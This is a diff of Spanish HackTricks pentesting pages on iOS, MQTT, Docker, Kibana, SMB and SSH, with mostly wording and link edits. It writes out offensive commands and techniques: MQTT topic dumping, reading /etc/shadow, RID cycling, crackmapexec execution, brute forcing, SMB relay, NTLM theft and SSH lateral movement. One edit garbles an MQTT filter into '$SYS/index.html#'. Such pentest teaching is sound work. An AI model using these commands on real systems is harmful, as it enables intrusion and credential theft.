- [ ] Verifica si la aplicación **no está verificando y sanitizando** la entrada de los usuarios a través del esquema personalizado y alguna **vulnerabilidad puede ser explotada**.
|
||||
@ -81,13 +81,13 @@
|
||||
|
||||
### Comunicación de Red
|
||||
|
||||
- [ ] Realiza un [**MitM a la comunicación**](ios-pentesting/#network-communication) y busca vulnerabilidades web.
|
||||
- [ ] Verifica si se está **verificando el hostname del certificado**](ios-pentesting/#hostname-check).
|
||||
- [ ] Verifica/Elude [**Certificate Pinning**](ios-pentesting/#certificate-pinning).
|
||||
- [ ] Realiza un [**MitM a la comunicación**](ios-pentesting/index.html#network-communication) y busca vulnerabilidades web.
|
||||
- [ ] Verifica si se verifica el [**nombre de host del certificado**](ios-pentesting/index.html#hostname-check).
|
||||
- [ ] Verifica/Elude [**Certificate Pinning**](ios-pentesting/index.html#certificate-pinning).
|
||||
|
||||
### **Varios**
|
||||
|
||||
- [ ] Verifica si hay mecanismos de [**parcheo/actualización automática**](ios-pentesting/#hot-patching-enforced-updateing).
|
||||
- [ ] Verifica si hay [**bibliotecas de terceros maliciosas**](ios-pentesting/#third-parties).
|
||||
- [ ] Verifica si hay mecanismos de [**parcheo/actualización automática**](ios-pentesting/index.html#hot-patching-enforced-updateing).
|
||||
- [ ] Verifica si hay [**bibliotecas de terceros maliciosas**](ios-pentesting/index.html#third-parties).
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -28,14 +28,16 @@ Por ejemplo, si el broker rechaza la conexión debido a credenciales inválidas,
|
||||
|
||||
## Pentesting MQTT
|
||||
|
||||
**La autenticación es totalmente opcional** y, incluso si se está realizando la autenticación, **la encriptación no se utiliza por defecto** (las credenciales se envían en texto claro). Los ataques MITM aún se pueden ejecutar para robar contraseñas.
|
||||
**La autenticación es totalmente opcional** y, incluso si se está realizando autenticación, **la encriptación no se utiliza por defecto** (las credenciales se envían en texto claro). Los ataques MITM aún se pueden ejecutar para robar contraseñas.
|
||||
|
||||
Para conectarte a un servicio MQTT puedes usar: [https://github.com/bapowell/python-mqtt-client-shell](https://github.com/bapowell/python-mqtt-client-shell) y suscribirte a todos los temas haciendo:
|
||||
Para conectarte a un servicio MQTT, puedes usar: [https://github.com/bapowell/python-mqtt-client-shell](https://github.com/bapowell/python-mqtt-client-shell) y suscribirte a todos los temas haciendo:
|
||||
```
|
||||
> connect (NOTICE that you need to indicate before this the params of the connection, by default 127.0.0.1:1883)
|
||||
> subscribe "#" 1
|
||||
> subscribe "$SYS/#"
|
||||
```
|
||||
También puedes usar [**https://github.com/akamai-threat-research/mqtt-pwn**](https://github.com/akamai-threat-research/mqtt-pwn)
|
||||
|
||||
También puedes usar:
|
||||
```bash
|
||||
apt-get install mosquitto mosquitto-clients
|
||||
@ -54,7 +56,7 @@ PORT = 1883
|
||||
|
||||
def on_connect(client, userdata, flags, rc):
|
||||
client.subscribe('#', qos=1)
|
||||
client.subscribe('$SYS/#')
|
||||
client.subscribe('$SYS/index.html#')
|
||||
|
||||
def on_message(client, userdata, message):
|
||||
print('Topic: %s | QOS: %s | Message: %s' % (message.topic, message.qos, message.payload))
|
||||
@ -94,15 +96,15 @@ Cada paquete MQTT contiene un encabezado fijo (Figura 02).Figura 02: Encabezado
|
||||
|
||||
- CONNECT (1): Iniciado por el cliente para solicitar una conexión al servidor.
|
||||
- CONNACK (2): El reconocimiento del servidor de una conexión exitosa.
|
||||
- PUBLISH (3): Utilizado para enviar un mensaje del cliente al servidor o viceversa.
|
||||
- PUBLISH (3): Usado para enviar un mensaje del cliente al servidor o viceversa.
|
||||
- PUBACK (4): Reconocimiento de un paquete PUBLISH.
|
||||
- PUBREC (5): Parte de un protocolo de entrega de mensajes que asegura que el mensaje es recibido.
|
||||
- PUBREL (6): Aseguramiento adicional en la entrega de mensajes, indicando una liberación de mensaje.
|
||||
- PUBCOMP (7): Parte final del protocolo de entrega de mensajes, indicando finalización.
|
||||
- SUBSCRIBE (8): Solicitud de un cliente para escuchar mensajes de un tema.
|
||||
- SUBACK (9): El reconocimiento del servidor de una solicitud de SUSCRIPCIÓN.
|
||||
- SUBACK (9): El reconocimiento del servidor de una solicitud SUBSCRIBE.
|
||||
- UNSUBSCRIBE (10): Solicitud de un cliente para dejar de recibir mensajes de un tema.
|
||||
- UNSUBACK (11): La respuesta del servidor a una solicitud de CANCELACIÓN DE SUSCRIPCIÓN.
|
||||
- UNSUBACK (11): La respuesta del servidor a una solicitud UNSUBSCRIBE.
|
||||
- PINGREQ (12): Un mensaje de latido enviado por el cliente.
|
||||
- PINGRESP (13): Respuesta del servidor al mensaje de latido.
|
||||
- DISCONNECT (14): Iniciado por el cliente para terminar la conexión.
|
||||
|
||||
@ -2,21 +2,21 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
### Fundamentos de Docker
|
||||
### Docker Basics
|
||||
|
||||
#### Qué es
|
||||
#### What is
|
||||
|
||||
Docker es la **plataforma de vanguardia** en la **industria de la contenedorización**, liderando la **innovación continua**. Facilita la creación y distribución sin esfuerzo de aplicaciones, abarcando desde **tradicionales hasta futuristas**, y asegura su **despliegue seguro** en diversos entornos.
|
||||
|
||||
#### Arquitectura básica de docker
|
||||
#### Basic docker architecture
|
||||
|
||||
- [**containerd**](http://containerd.io): Este es un **runtime central** para contenedores, encargado de la **gestión integral del ciclo de vida de un contenedor**. Esto implica manejar la **transferencia y almacenamiento de imágenes**, además de supervisar la **ejecución, monitoreo y red** de los contenedores. **Más detalles** sobre containerd se **exploran más a fondo**.
|
||||
- [**containerd**](http://containerd.io): Este es un **runtime central** para contenedores, encargado de la **gestión integral del ciclo de vida de un contenedor**. Esto implica manejar **transferencia y almacenamiento de imágenes**, además de supervisar la **ejecución, monitoreo y redes** de los contenedores. **Más detalles** sobre containerd se **exploran más a fondo**.
|
||||
- El **container-shim** juega un papel crítico como un **intermediario** en el manejo de **contenedores sin cabeza**, asumiendo sin problemas el control de **runc** después de que los contenedores son inicializados.
|
||||
- [**runc**](http://runc.io): Reconocido por sus capacidades de **runtime de contenedor ligero y universal**, runc está alineado con el **estándar OCI**. Es utilizado por containerd para **iniciar y gestionar contenedores** de acuerdo con las **directrices OCI**, habiendo evolucionado a partir del original **libcontainer**.
|
||||
- [**grpc**](http://www.grpc.io) es esencial para **facilitar la comunicación** entre containerd y el **docker-engine**, asegurando una **interacción eficiente**.
|
||||
- El [**OCI**](https://www.opencontainers.org) es fundamental para mantener las **especificaciones OCI** para runtime e imágenes, siendo las últimas versiones de Docker **compatibles con los estándares de imagen y runtime OCI**.
|
||||
- El [**OCI**](https://www.opencontainers.org) es fundamental para mantener las **especificaciones OCI** para runtimes e imágenes, siendo las últimas versiones de Docker **compatibles con los estándares de imagen y runtime OCI**.
|
||||
|
||||
#### Comandos básicos
|
||||
#### Basic commands
|
||||
```bash
|
||||
docker version #Get version of docker client, API, engine, containerd, runc, docker-init
|
||||
docker info #Get more infomarion about docker settings
|
||||
@ -63,14 +63,14 @@ ctr container delete <containerName>
|
||||
```
|
||||
#### Podman
|
||||
|
||||
**Podman** es un motor de contenedores de código abierto que se adhiere a los [estándares de la Open Container Initiative (OCI)](https://github.com/opencontainers), desarrollado y mantenido por Red Hat. Se destaca de Docker con varias características distintas, notablemente su **arquitectura sin demonio** y soporte para **contenedores sin privilegios de root**, lo que permite a los usuarios ejecutar contenedores sin privilegios de root.
|
||||
**Podman** es un motor de contenedores de código abierto que se adhiere a los [estándares de la Open Container Initiative (OCI)](https://github.com/opencontainers), desarrollado y mantenido por Red Hat. Se destaca de Docker por varias características distintas, notablemente su **arquitectura sin demonio** y soporte para **contenedores sin privilegios de root**, lo que permite a los usuarios ejecutar contenedores sin privilegios de root.
|
||||
|
||||
Podman está diseñado para ser compatible con la API de Docker, permitiendo el uso de comandos de la CLI de Docker. Esta compatibilidad se extiende a su ecosistema, que incluye herramientas como **Buildah** para construir imágenes de contenedores y **Skopeo** para operaciones de imágenes como push, pull e inspect. Más detalles sobre estas herramientas se pueden encontrar en su [página de GitHub](https://github.com/containers/buildah/tree/master/docs/containertools).
|
||||
|
||||
**Diferencias Clave**
|
||||
|
||||
- **Arquitectura**: A diferencia del modelo cliente-servidor de Docker con un demonio en segundo plano, Podman opera sin un demonio. Este diseño significa que los contenedores se ejecutan con los privilegios del usuario que los inicia, mejorando la seguridad al eliminar la necesidad de acceso root.
|
||||
- **Integración con Systemd**: Podman se integra con **systemd** para gestionar contenedores, permitiendo la gestión de contenedores a través de unidades de systemd. Esto contrasta con el uso de Docker de systemd principalmente para gestionar el proceso del demonio de Docker.
|
||||
- **Integración con Systemd**: Podman se integra con **systemd** para gestionar contenedores, permitiendo la gestión de contenedores a través de unidades de systemd. Esto contrasta con el uso de systemd por parte de Docker principalmente para gestionar el proceso del demonio de Docker.
|
||||
- **Contenedores Sin Privilegios de Root**: Una característica fundamental de Podman es su capacidad para ejecutar contenedores bajo los privilegios del usuario que los inicia. Este enfoque minimiza los riesgos asociados con las brechas de contenedores al garantizar que los atacantes solo obtengan los privilegios del usuario comprometido, no acceso root.
|
||||
|
||||
El enfoque de Podman ofrece una alternativa segura y flexible a Docker, enfatizando la gestión de privilegios de usuario y la compatibilidad con flujos de trabajo existentes de Docker.
|
||||
@ -199,17 +199,17 @@ cat /mnt/etc/shadow
|
||||
|
||||
### Escalación de privilegios
|
||||
|
||||
Si estás dentro de un host que está usando docker, puedes [**leer esta información para intentar elevar privilegios**](../linux-hardening/privilege-escalation/#writable-docker-socket).
|
||||
Si estás dentro de un host que está usando docker, puedes [**leer esta información para intentar elevar privilegios**](../linux-hardening/privilege-escalation/index.html#writable-docker-socket).
|
||||
|
||||
### Descubriendo secretos en contenedores Docker en ejecución
|
||||
```bash
|
||||
docker ps [| grep <kubernetes_service_name>]
|
||||
docker inspect <docker_id>
|
||||
```
|
||||
Verifica **env** (sección de variables de entorno) en busca de secretos y es posible que encuentres:
|
||||
Verifica **env** (sección de variables de entorno) en busca de secretos y puedes encontrar:
|
||||
|
||||
- Contraseñas.
|
||||
- IPs.
|
||||
- Ip’s.
|
||||
- Puertos.
|
||||
- Rutas.
|
||||
- Otros… .
|
||||
@ -226,7 +226,7 @@ docker cp <docket_id>:/etc/<secret_01> <secret_01>
|
||||
- `./docker-bench-security.sh`
|
||||
- Puedes usar la herramienta [https://github.com/kost/dockscan](https://github.com/kost/dockscan) para inspeccionar tu instalación actual de docker.
|
||||
- `dockscan -v unix:///var/run/docker.sock`
|
||||
- Puedes usar la herramienta [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) para ver los privilegios que tendrá un contenedor cuando se ejecute con diferentes opciones de seguridad. Esto es útil para conocer las implicaciones de usar algunas opciones de seguridad para ejecutar un contenedor:
|
||||
- Puedes usar la herramienta [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) para conocer los privilegios que tendrá un contenedor cuando se ejecute con diferentes opciones de seguridad. Esto es útil para conocer las implicaciones de usar algunas opciones de seguridad para ejecutar un contenedor:
|
||||
- `docker run --rm -it r.j3ss.co/amicontained`
|
||||
- `docker run --rm -it --pid host r.j3ss.co/amicontained`
|
||||
- `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained`
|
||||
|
||||
@ -2,11 +2,11 @@
|
||||
|
||||
# Información Básica
|
||||
|
||||
Kibana es conocido por su capacidad para buscar y visualizar datos dentro de Elasticsearch, normalmente ejecutándose en el puerto **5601**. Sirve como la interfaz para las funciones de monitoreo, gestión y seguridad del clúster de Elastic Stack.
|
||||
Kibana es conocido por su capacidad para buscar y visualizar datos dentro de Elasticsearch, que generalmente se ejecuta en el puerto **5601**. Sirve como la interfaz para las funciones de monitoreo, gestión y seguridad del clúster de Elastic Stack.
|
||||
|
||||
## Entendiendo la Autenticación
|
||||
|
||||
El proceso de autenticación en Kibana está inherentemente vinculado a las **credenciales utilizadas en Elasticsearch**. Si la autenticación de Elasticsearch está deshabilitada, Kibana se puede acceder sin ninguna credencial. Por el contrario, si Elasticsearch está asegurado con credenciales, se requieren las mismas credenciales para acceder a Kibana, manteniendo permisos de usuario idénticos en ambas plataformas. Las credenciales pueden encontrarse en el archivo **/etc/kibana/kibana.yml**. Si estas credenciales no pertenecen al usuario **kibana_system**, pueden ofrecer derechos de acceso más amplios, ya que el acceso del usuario kibana_system está restringido a las API de monitoreo y al índice .kibana.
|
||||
El proceso de autenticación en Kibana está inherentemente vinculado a las **credenciales utilizadas en Elasticsearch**. Si Elasticsearch tiene la autenticación desactivada, Kibana se puede acceder sin ninguna credencial. Por el contrario, si Elasticsearch está asegurado con credenciales, se requieren las mismas credenciales para acceder a Kibana, manteniendo permisos de usuario idénticos en ambas plataformas. Las credenciales pueden encontrarse en el archivo **/etc/kibana/kibana.yml**. Si estas credenciales no pertenecen al usuario **kibana_system**, pueden ofrecer derechos de acceso más amplios, ya que el acceso del usuario kibana_system está restringido a las API de monitoreo y al índice .kibana.
|
||||
|
||||
## Acciones al Acceder
|
||||
|
||||
@ -14,7 +14,7 @@ Una vez que se asegura el acceso a Kibana, se aconsejan varias acciones:
|
||||
|
||||
- Explorar datos de Elasticsearch debe ser una prioridad.
|
||||
- La capacidad de gestionar usuarios, incluyendo la edición, eliminación o creación de nuevos usuarios, roles o claves API, se encuentra bajo Gestión de Stack -> Usuarios/Roles/Claves API.
|
||||
- Es importante verificar la versión instalada de Kibana en busca de vulnerabilidades conocidas, como la vulnerabilidad RCE identificada en versiones anteriores a 6.6.0 ([Más Información](https://insinuator.net/2021/01/pentesting-the-elk-stack/#ref2)).
|
||||
- Es importante verificar la versión instalada de Kibana en busca de vulnerabilidades conocidas, como la vulnerabilidad RCE identificada en versiones anteriores a 6.6.0 ([Más Información](https://insinuator.net/2021/01/pentesting-the-elk-stack/index.html#ref2)).
|
||||
|
||||
## Consideraciones de SSL/TLS
|
||||
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## **Puerto 139**
|
||||
|
||||
El _**Sistema Básico de Entrada y Salida de Red**_\*\* (NetBIOS)\*\* es un protocolo de software diseñado para permitir que aplicaciones, PCs y Escritorios dentro de una red de área local (LAN) interactúen con hardware de red y **faciliten la transmisión de datos a través de la red**. La identificación y localización de aplicaciones de software que operan en una red NetBIOS se logran a través de sus nombres NetBIOS, que pueden tener hasta 16 caracteres de longitud y a menudo son distintos del nombre de la computadora. Una sesión NetBIOS entre dos aplicaciones se inicia cuando una aplicación (actuando como el cliente) emite un comando para "llamar" a otra aplicación (actuando como el servidor) utilizando **TCP Puerto 139**.
|
||||
El _**Sistema Básico de Entrada y Salida de Red**_\*\* (NetBIOS)\*\* es un protocolo de software diseñado para permitir que aplicaciones, PCs y escritorios dentro de una red de área local (LAN) interactúen con hardware de red y **faciliten la transmisión de datos a través de la red**. La identificación y localización de aplicaciones de software que operan en una red NetBIOS se logra a través de sus nombres NetBIOS, que pueden tener hasta 16 caracteres de longitud y a menudo son distintos del nombre del ordenador. Una sesión NetBIOS entre dos aplicaciones se inicia cuando una aplicación (actuando como cliente) emite un comando para "llamar" a otra aplicación (actuando como servidor) utilizando **TCP Puerto 139**.
|
||||
```
|
||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||
```
|
||||
@ -20,7 +20,7 @@ Por ejemplo, en el contexto de Windows, se destaca que SMB puede operar directam
|
||||
|
||||
El **Server Message Block (SMB)** protocolo, que opera en un modelo **cliente-servidor**, está diseñado para regular el **acceso a archivos**, directorios y otros recursos de red como impresoras y enrutadores. Utilizado principalmente dentro de la serie del sistema operativo **Windows**, SMB asegura la compatibilidad hacia atrás, permitiendo que dispositivos con versiones más nuevas del sistema operativo de Microsoft interactúen sin problemas con aquellos que ejecutan versiones más antiguas. Además, el proyecto **Samba** ofrece una solución de software libre, permitiendo la implementación de SMB en sistemas **Linux** y Unix, facilitando así la comunicación entre plataformas a través de SMB.
|
||||
|
||||
Los recursos compartidos, que representan **partes arbitrarias del sistema de archivos local**, pueden ser proporcionados por un servidor SMB, haciendo que la jerarquía sea visible para un cliente en parte **independiente** de la estructura real del servidor. Las **Access Control Lists (ACLs)**, que definen los **derechos de acceso**, permiten un **control detallado** sobre los permisos de los usuarios, incluyendo atributos como **`execute`**, **`read`** y **`full access`**. Estos permisos pueden ser asignados a usuarios individuales o grupos, basados en los recursos compartidos, y son distintos de los permisos locales establecidos en el servidor.
|
||||
Los recursos compartidos, que representan **partes arbitrarias del sistema de archivos local**, pueden ser proporcionados por un servidor SMB, haciendo que la jerarquía sea visible para un cliente en parte **independiente** de la estructura real del servidor. Las **Access Control Lists (ACLs)**, que definen los **derechos de acceso**, permiten un **control detallado** sobre los permisos de los usuarios, incluyendo atributos como **`execute`**, **`read`** y **`full access`**. Estos permisos pueden ser asignados a usuarios individuales o grupos, basándose en los recursos compartidos, y son distintos de los permisos locales establecidos en el servidor.
|
||||
|
||||
### IPC$ Share
|
||||
|
||||
@ -38,7 +38,7 @@ enum4linux -a target_ip
|
||||
```
|
||||
El comando anterior es un ejemplo de cómo `enum4linux` podría usarse para realizar una enumeración completa contra un objetivo especificado por `target_ip`.
|
||||
|
||||
## Qué es NTLM
|
||||
## ¿Qué es NTLM?
|
||||
|
||||
Si no sabes qué es NTLM o quieres saber cómo funciona y cómo abusar de él, encontrarás muy interesante esta página sobre **NTLM** donde se explica **cómo funciona este protocolo y cómo puedes aprovecharte de él:**
|
||||
|
||||
@ -56,7 +56,7 @@ nbtscan -r 192.168.0.1/24
|
||||
|
||||
Para buscar posibles exploits para la versión de SMB, es importante saber qué versión se está utilizando. Si esta información no aparece en otras herramientas utilizadas, puedes:
|
||||
|
||||
- Usar el módulo auxiliar de **MSF** \_**auxiliary/scanner/smb/smb_version**
|
||||
- Usar el **MSF** módulo auxiliar \_**auxiliary/scanner/smb/smb_version**
|
||||
- O este script:
|
||||
```bash
|
||||
#!/bin/sh
|
||||
@ -88,7 +88,7 @@ searchsploit microsoft smb
|
||||
| Administrador, admin | _(vacío)_, contraseña, administrador, admin |
|
||||
| arcserve | arcserve, respaldo |
|
||||
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
|
||||
| backupexec, respaldo | backupexec, respaldo, arcada |
|
||||
| backupexec, backup | backupexec, backup, arcada |
|
||||
| prueba, laboratorio, demo | contraseña, prueba, laboratorio, demo |
|
||||
|
||||
### Fuerza Bruta
|
||||
@ -121,7 +121,7 @@ rpcclient -U "username%passwd" <IP> #With creds
|
||||
```
|
||||
### Enumerar Usuarios, Grupos y Usuarios Conectados
|
||||
|
||||
Esta información ya debería estar siendo recopilada de enum4linux y enum4linux-ng
|
||||
Esta información ya debería estar siendo recopilada de enum4linux y enum4linux-ng.
|
||||
```bash
|
||||
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
|
||||
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
|
||||
@ -139,7 +139,7 @@ enumdomgroups
|
||||
```bash
|
||||
lookupsid.py -no-pass hostname.local
|
||||
```
|
||||
Oneliner
|
||||
Línea única
|
||||
```bash
|
||||
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
|
||||
```
|
||||
@ -169,7 +169,7 @@ rpcclient-enumeration.md
|
||||
|
||||
### Listar carpetas compartidas
|
||||
|
||||
Siempre se recomienda verificar si puedes acceder a algo, si no tienes credenciales, intenta usar **null** **credentials/guest user**.
|
||||
Siempre se recomienda verificar si puedes acceder a algo; si no tienes credenciales, intenta usar **null** **credentials/guest user**.
|
||||
```bash
|
||||
smbclient --no-pass -L //<IP> # Null user
|
||||
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
|
||||
@ -239,7 +239,7 @@ ejemplos
|
||||
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
|
||||
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
|
||||
```
|
||||
### **Enumerar recursos compartidos de Windows / sin herramientas de terceros**
|
||||
### **Enumerar recursos compartidos desde Windows / sin herramientas de terceros**
|
||||
|
||||
PowerShell
|
||||
```powershell
|
||||
@ -292,8 +292,8 @@ smbclient //<IP>/<share>
|
||||
Comandos:
|
||||
|
||||
- mask: especifica la máscara que se utiliza para filtrar los archivos dentro del directorio (por ejemplo, "" para todos los archivos)
|
||||
- recurse: activa la recursión (predeterminado: apagado)
|
||||
- prompt: desactiva la solicitud de nombres de archivos (predeterminado: encendido)
|
||||
- recurse: activa la recursión (predeterminado: desactivado)
|
||||
- prompt: desactiva la solicitud de nombres de archivos (predeterminado: activado)
|
||||
- mget: copia todos los archivos que coinciden con la máscara del host a la máquina cliente
|
||||
|
||||
(_Información de la página del manual de smbclient_)
|
||||
@ -334,10 +334,10 @@ La **configuración predeterminada de** un **servidor Samba** generalmente se en
|
||||
| `read only = no` | ¿Prohibir la creación y modificación de archivos? |
|
||||
| `writable = yes` | ¿Permitir a los usuarios crear y modificar archivos? |
|
||||
| `guest ok = yes` | ¿Permitir conectarse al servicio sin usar una contraseña? |
|
||||
| `enable privileges = yes` | ¿Honrar los privilegios asignados a un SID específico? |
|
||||
| `enable privileges = yes` | ¿Respetar los privilegios asignados a un SID específico? |
|
||||
| `create mask = 0777` | ¿Qué permisos deben asignarse a los archivos recién creados? |
|
||||
| `directory mask = 0777` | ¿Qué permisos deben asignarse a los directorios recién creados? |
|
||||
| `logon script = script.sh` | ¿Qué script necesita ejecutarse en el inicio de sesión del usuario?|
|
||||
| `logon script = script.sh` | ¿Qué script debe ejecutarse en el inicio de sesión del usuario? |
|
||||
| `magic script = script.sh` | ¿Qué script debe ejecutarse cuando se cierra el script? |
|
||||
| `magic output = script.out` | ¿Dónde debe almacenarse la salida del script mágico? |
|
||||
|
||||
@ -345,7 +345,7 @@ El comando `smbstatus` proporciona información sobre el **servidor** y sobre **
|
||||
|
||||
## Autenticarse usando Kerberos
|
||||
|
||||
Puedes **autenticarse** a **kerberos** utilizando las herramientas **smbclient** y **rpcclient**:
|
||||
Puedes **autenticarse** en **kerberos** utilizando las herramientas **smbclient** y **rpcclient**:
|
||||
```bash
|
||||
smbclient --kerberos //ws01win10.domain.com/C$
|
||||
rpcclient -k ws01win10.domain.com
|
||||
@ -354,7 +354,7 @@ rpcclient -k ws01win10.domain.com
|
||||
|
||||
### **crackmapexec**
|
||||
|
||||
crackmapexec puede ejecutar comandos **abusando** de cualquiera de **mmcexec, smbexec, atexec, wmiexec**, siendo **wmiexec** el **método** **predeterminado**. Puedes indicar qué opción prefieres usar con el parámetro `--exec-method`:
|
||||
crackmapexec puede ejecutar comandos **abusando** de cualquiera de **mmcexec, smbexec, atexec, wmiexec**, siendo **wmiexec** el método **predeterminado**. Puedes indicar qué opción prefieres usar con el parámetro `--exec-method`:
|
||||
```bash
|
||||
apt-get install crackmapexec
|
||||
|
||||
@ -421,12 +421,12 @@ En **kali** se encuentra en /usr/share/doc/python3-impacket/examples/
|
||||
|
||||
## **Fuerza bruta de credenciales de usuarios**
|
||||
|
||||
**Esto no se recomienda, podrías bloquear una cuenta si superas el número máximo de intentos permitidos**
|
||||
**Esto no es recomendable, podrías bloquear una cuenta si superas el número máximo de intentos permitidos**
|
||||
```bash
|
||||
nmap --script smb-brute -p 445 <IP>
|
||||
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
|
||||
```
|
||||
## Ataque de retransmisión SMB
|
||||
## SMB relay attack
|
||||
|
||||
Este ataque utiliza el kit de herramientas Responder para **capturar sesiones de autenticación SMB** en una red interna y **retransmitirlas** a una **máquina objetivo**. Si la **sesión de autenticación es exitosa**, te llevará automáticamente a un **shell** **del sistema**.\
|
||||
[**Más información sobre este ataque aquí.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
@ -444,19 +444,19 @@ Esto ocurre con las funciones:
|
||||
|
||||
Que son utilizadas por algunos navegadores y herramientas (como Skype)
|
||||
|
||||
.png>)
|
||||
.png>)
|
||||
|
||||
### SMBTrap usando MitMf
|
||||
### SMBTrap using MitMf
|
||||
|
||||
.png>)
|
||||
.png>)
|
||||
|
||||
## Robo de NTLM
|
||||
## NTLM Theft
|
||||
|
||||
Similar al SMB Trapping, plantar archivos maliciosos en un sistema objetivo (a través de SMB, por ejemplo) puede provocar un intento de autenticación SMB, permitiendo que el hash NetNTLMv2 sea interceptado con una herramienta como Responder. El hash puede ser descifrado sin conexión o utilizado en un [ataque de retransmisión SMB](./#smb-relay-attack).
|
||||
Similar al SMB Trapping, plantar archivos maliciosos en un sistema objetivo (a través de SMB, por ejemplo) puede provocar un intento de autenticación SMB, permitiendo que el hash NetNTLMv2 sea interceptado con una herramienta como Responder. El hash puede ser descifrado sin conexión o utilizado en un [SMB relay attack](#smb-relay-attack).
|
||||
|
||||
[Ver: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
|
||||
[See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
|
||||
|
||||
## Comandos Automáticos de HackTricks
|
||||
## HackTricks Automatic Commands
|
||||
```
|
||||
Protocol_Name: SMB #Protocol Abbreviation if there is one.
|
||||
Port_Number: 137,138,139 #Comma separated if there is more than one.
|
||||
|
||||
@ -22,11 +22,11 @@
|
||||
- [libssh](https://www.libssh.org) – biblioteca C multiplataforma que implementa el protocolo SSHv2 con enlaces en [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) y [R](https://github.com/ropensci/ssh); es utilizada por KDE para sftp y por GitHub para la infraestructura git SSH
|
||||
- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – biblioteca de servidor SSHv2 escrita en ANSI C y dirigida a entornos embebidos, RTOS y con recursos limitados
|
||||
- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – biblioteca java Apache SSHD basada en Apache MINA
|
||||
- [paramiko](https://github.com/paramiko/paramiko) – biblioteca del protocolo SSHv2 en Python
|
||||
- [paramiko](https://github.com/paramiko/paramiko) – biblioteca de protocolo SSHv2 en Python
|
||||
|
||||
## Enumeración
|
||||
|
||||
### Captura de Banner
|
||||
### Captura de Banners
|
||||
```bash
|
||||
nc -vn <IP> 22
|
||||
```
|
||||
@ -38,9 +38,9 @@ ssh-audit es una herramienta para la auditoría de la configuración del servido
|
||||
|
||||
**Características:**
|
||||
|
||||
- Soporte para el protocolo SSH1 y SSH2;
|
||||
- Soporte para servidores de protocolo SSH1 y SSH2;
|
||||
- analizar la configuración del cliente SSH;
|
||||
- obtener banner, reconocer dispositivo o software y sistema operativo, detectar compresión;
|
||||
- capturar banner, reconocer dispositivo o software y sistema operativo, detectar compresión;
|
||||
- recopilar algoritmos de intercambio de claves, clave de host, cifrado y código de autenticación de mensajes;
|
||||
- salida de información sobre algoritmos (disponible desde, eliminado/deshabilitado, inseguro/débil/legado, etc);
|
||||
- salida de recomendaciones de algoritmos (agregar o eliminar según la versión de software reconocida);
|
||||
@ -103,7 +103,7 @@ msf> use scanner/ssh/ssh_enumusers
|
||||
|
||||
Algunas credenciales ssh comunes [aquí](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt) y [aquí](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) y a continuación.
|
||||
|
||||
### Fuerza bruta de clave privada
|
||||
### Fuerza Bruta de Clave Privada
|
||||
|
||||
Si conoces algunas claves privadas ssh que podrían ser utilizadas... intentémoslo. Puedes usar el script de nmap:
|
||||
```
|
||||
@ -115,7 +115,7 @@ msf> use scanner/ssh/ssh_identify_pubkeys
|
||||
```
|
||||
O use `ssh-keybrute.py` (python3 nativo, ligero y con algoritmos heredados habilitados): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute).
|
||||
|
||||
#### Las badkeys conocidas se pueden encontrar aquí:
|
||||
#### Las claves malas conocidas se pueden encontrar aquí:
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/rapid7/ssh-badkeys/tree/master/authorized
|
||||
@ -163,7 +163,7 @@ Si estás en la red local como la víctima que va a conectarse al servidor SSH u
|
||||
|
||||
[**SSH MITM**](https://github.com/jtesta/ssh-mitm) hace exactamente lo que se describe arriba.
|
||||
|
||||
Para capturar y realizar el MitM real, podrías usar técnicas como el spoofing ARP, el spoofing DNS u otras descritas en los [**ataques de spoofing de red**](../generic-methodologies-and-resources/pentesting-network/#spoofing).
|
||||
Para capturar y realizar el MitM real, podrías usar técnicas como el spoofing ARP, el spoofing DNS u otras descritas en los [**ataques de spoofing de red**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing).
|
||||
|
||||
## SSH-Snake
|
||||
|
||||
@ -172,13 +172,13 @@ Si deseas recorrer una red utilizando claves privadas SSH descubiertas en sistem
|
||||
SSH-Snake realiza las siguientes tareas automáticamente y de forma recursiva:
|
||||
|
||||
1. En el sistema actual, encuentra cualquier clave privada SSH,
|
||||
2. En el sistema actual, encuentra cualquier host o destino (user@host) que pueda aceptar las claves privadas,
|
||||
2. En el sistema actual, encuentra cualquier host o destino (user@host) que las claves privadas puedan aceptar,
|
||||
3. Intenta SSH en todos los destinos utilizando todas las claves privadas descubiertas,
|
||||
4. Si se conecta con éxito a un destino, repite los pasos #1 - #4 en el sistema conectado.
|
||||
